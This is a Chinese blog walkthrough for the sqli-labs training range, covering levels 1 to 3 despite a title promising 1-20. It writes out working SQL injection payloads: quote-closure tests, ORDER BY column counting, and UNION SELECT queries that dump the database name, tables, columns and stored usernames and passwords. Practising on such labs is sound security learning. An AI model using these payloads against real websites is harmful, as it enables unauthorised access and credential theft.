sqli-labs靶场(1-20)通关手册

Less1

首先在上方URL地址栏输入代码,判断是否存在注入点

?id=1' and 1=1 -- -

输入代码回车后,有回显,说明存在注入点,再输入下面的代码

?id=1' and 1=2" -- -

如上图显示,没有回显,说明可以利用 字符注入

确定好注入字符后使用下面的代码判断有多少列,超出列数则会报错,此处采用二分法,猜测尝试。

?id=1' order by 4 -- 

判断出有多少列后,再输入下方代码判断数据显示点(id要改为0或负数,使用UNION联合查询)

?id=0' union select 1,2,3 -- -

把id要改为0或负数的作用

确保联合查询的结果可见:通过将id设置为0或负数,攻击者可以确保原始查询返回的记录尽量少,甚至没有记录。这使得UNION查询的结果更容易被观察到。

避免意外的数据干扰:如果原始查询返回了很多记录,这些记录可能会掩盖联合查询返回的数据。将id设置为一个不可能存在的值(如0或负数),可以避免这种情况,从而更容易查看和分析联合查询的结果。

利用数据库的特性:在某些数据库系统中,id为0或负数的记录可能不存在。这有助于确保只有UNION查询返回的结果被显示。

使用下面的代码爆出数据库名称及版本信息

?id=-1'union select 1,database(),version()--+

爆出数据表名称

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出字段信息

?id=-99' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

爆出用户名和密码

?id=-99' union select 1,group_concat(concat_ws(';',username,password)),3 from security.users--+

Less2

首先判断注入点,在地址栏输入代码,

?id=1'and 1=1--+

发现报错,如上图所示,说明存在注入点,但不是用单引号进行闭合。

使用双引号依旧报错,且报错信息依旧如上图,看不到数字,推测为数字性注入,尝试下面的代码

id=1

如图,证明猜测正确。然后开始判断数据库的列数,判断数据显示点,然后开始爆破,获取信息,该部分操作与less1完全相同,只需把less1中的单引号去掉即可。代码及效果图如下

id=1order by 3 -- -

?id=-1 union select 1,2,3

?id=-1 union select 1,database(),version()

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

?id=-1 union select 1,2,group_concat(username ,id , password) from users

less3

除注入类型改变外,其余部分与前两关一致。

判断注入点

?id=1'

判断可能为括号闭合,输入代码

?id=1') --+

?id=1') order by 3 --+

?id=-1') union select 1,2,3--+

?id=-1') union select 1,database(),version()--+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值